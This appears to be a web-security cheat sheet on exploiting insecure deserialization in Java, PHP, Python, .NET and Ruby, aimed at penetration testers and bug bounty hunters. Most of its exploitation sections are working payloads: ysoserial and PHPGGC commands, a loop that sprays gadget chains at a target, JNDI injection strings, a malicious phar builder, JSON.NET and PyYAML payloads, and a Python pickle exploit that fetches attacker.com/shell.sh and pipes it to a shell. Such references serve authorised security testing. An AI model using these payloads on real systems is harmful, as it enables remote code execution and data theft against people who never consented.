Skip to content
Web Security

Deserialization

Insecure deserialization exploitation across Java, PHP, Python, .NET, and Ruby

Detection

Identify Serialized Data

Java:

TEXT
# Base64 (starts with)
rO0AB    (raw ObjectInputStream)
H4sIA    (gzip compressed)

# Hex (starts with)
AC ED 00 05

# HTTP Headers
Content-Type: application/x-java-serialized-object

PHP:

PHP
# Serialized format
O:4:"User":1:{s:4:"name";s:5:"admin";}
a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# Common in:
- PHPSESSID cookie value
- Form hidden fields
- API parameters

Python (Pickle):

TEXT
# Base64 starts with
gASV    (Protocol 4)
gAN     (Protocol 3)

# Hex starts with
80 04 95    (Protocol 4)
80 03       (Protocol 3)

.NET:

TEXT
# ViewState (base64, starts with)
/wEP    (unencrypted)

# BinaryFormatter
AAEAAAD/////

# SOAP ObjectStateFormatter

Ruby:

TEXT
# Marshal.load
04 08    (hex prefix)

Java Exploitation

ysoserial (Standard Tool)

BASH
# Generate payload
java -jar ysoserial.jar CommonsCollections1 'curl attacker.com' | base64 -w0

# Common gadget chains
CommonsCollections1-7   # Apache Commons Collections
CommonsBeanutils1       # Apache Commons BeanUtils  
Spring1-2               # Spring Framework
Jdk7u21                 # JDK native
Groovy1                 # Groovy
Hibernate1-2            # Hibernate
JRMPClient              # Java RMI

Find Working Gadget Chain

BASH
# Try each chain
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsBeanutils1 Spring1; do
    payload=$(java -jar ysoserial.jar $gadget 'curl attacker.com/hit' 2>/dev/null | base64 -w0)
    curl -X POST https://target.com/api -d "$payload"
done

Bypass Filters

BASH
# Use ysoserial-modified for bypass
# Try different gadget chains
# Encode payload differently

# JRMP bypass (two-stage)
java -jar ysoserial.jar JRMPListener 1099 CommonsCollections1 'id'
# Send JRMPClient payload pointing to your JRMP listener

JNDI Injection (log4j-style)

TEXT
${jndi:ldap://attacker.com/exploit}
${jndi:rmi://attacker.com/exploit}

# Setup malicious LDAP/RMI server
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exploit

PHP Exploitation

Magic Methods

PHP
__construct()    // Object instantiation
__destruct()     // Object destruction  
__wakeup()       // unserialize() called
__sleep()        // serialize() called
__toString()     // Object to string
__call()         // Inaccessible method called
__get()          // Inaccessible property read
__set()          // Inaccessible property write

POP Chain Exploitation

PHP
# Find gadget chain in codebase:
# 1. Class with dangerous __destruct/__wakeup/__toString
# 2. Chain to file write, command exec, etc.

# Example payload
O:8:"PDFWriter":1:{s:8:"filename";s:9:"/tmp/pwn";}

PHPGGC (PHP Gadget Generator)

BASH
# List available gadgets
./phpggc -l

# Generate payload
./phpggc Laravel/RCE1 system 'id' -b  # Base64
./phpggc Symfony/RCE4 system 'id'     # Raw

# Example payloads
./phpggc Monolog/RCE1 system 'id'
./phpggc Guzzle/RCE1 system 'whoami'
./phpggc SwiftMailer/FW1 /tmp/shell.php /path/to/shell.php

Phar Deserialization (File Read → RCE)

PHP
# Trigger via file functions:
file_exists()
file_get_contents()
is_dir()
include()
fopen()

# Payload path
phar://uploads/evil.phar/test.txt
phar:///var/www/uploads/evil.phar

# Create malicious phar
<?php
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();');
$o = new VulnerableClass();
$o->dangerous_property = 'payload';
$phar->setMetadata($o);  // Metadata gets unserialized!
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

Python Exploitation

Pickle RCE

PYTHON
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/shell.sh | sh',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())

PyYAML RCE (yaml.load)

YAML
# Python 2
!!python/object/apply:os.system ['id']

# Python 3
!!python/object/apply:subprocess.check_output [['id']]

# More evasive
!!python/object/new:subprocess.Popen
args: [['curl', 'attacker.com']]

Other Libraries

PYTHON
# jsonpickle
{"py/object": "__main__.Exploit", "py/reduce": [...]}

# shelve
# Uses pickle internally

.NET Exploitation

ysoserial.net

POWERSHELL
# Generate payload
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -c "cmd /c whoami"
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc"
ysoserial.exe -g WindowsIdentity -f Json.Net -c "whoami"

# For BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "whoami" -o base64

ViewState Exploitation

POWERSHELL
# If MAC disabled
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami"

# If MAC enabled but key known
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" ^
  --validationalg="SHA1" --validationkey="KEY" ^
  --generator="GENERATOR" --viewstateuserkey="KEY"

JSON.NET Specific

JSON
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd", "/c calc"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

Ruby Exploitation

Marshal.load

RUBY
require 'base64'

code = '`id`'
payload = "\x04\x08o:\x40Gem::Requirement\x06:\x10@requirements[\x06o:\x1CGem::StubSpecification\x06:\x11@loaded_from\"\#{code}..."

# Use Universal Deserializer
# https://github.com/frohoff/ysoserial/tree/master/ysoserial

ERB Template Injection via Deserialization

RUBY
# If ERB object can be deserialized
require 'erb'
template = ERB.new('<%= `id` %>')
# Serialized ERB template executes on load

Testing Methodology

Step 1: Identify Deserialization Points

TEXT
- Cookie values (base64 decoded)  
- Hidden form fields
- API request bodies
- File uploads (metadata)
- Message queues

Step 2: Identify Technology

TEXT
- Check magic bytes
- Check headers
- Error messages often reveal framework

Step 3: Generate Payload

BASH
# Java
java -jar ysoserial.jar CommonsCollections1 'curl attacker.com'

# PHP
./phpggc Monolog/RCE1 system 'id'

# Python
# Custom pickle script

# .NET
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -c "whoami"

Step 4: Test with DNS/HTTP Callback

TEXT
- Use Burp Collaborator
- curl/wget to your server
- DNS exfiltration

Bug Bounty Tips

What Makes High Impact

TEXT
- RCE demonstrated
- Clear PoC with command output
- Data exfiltration shown
- Persistence possible

Common Locations

TEXT
- PHPSESSID cookies
- .NET ViewState
- Java session cookies
- API authentication tokens
- Message queue consumers
- File processing (phar)
On this page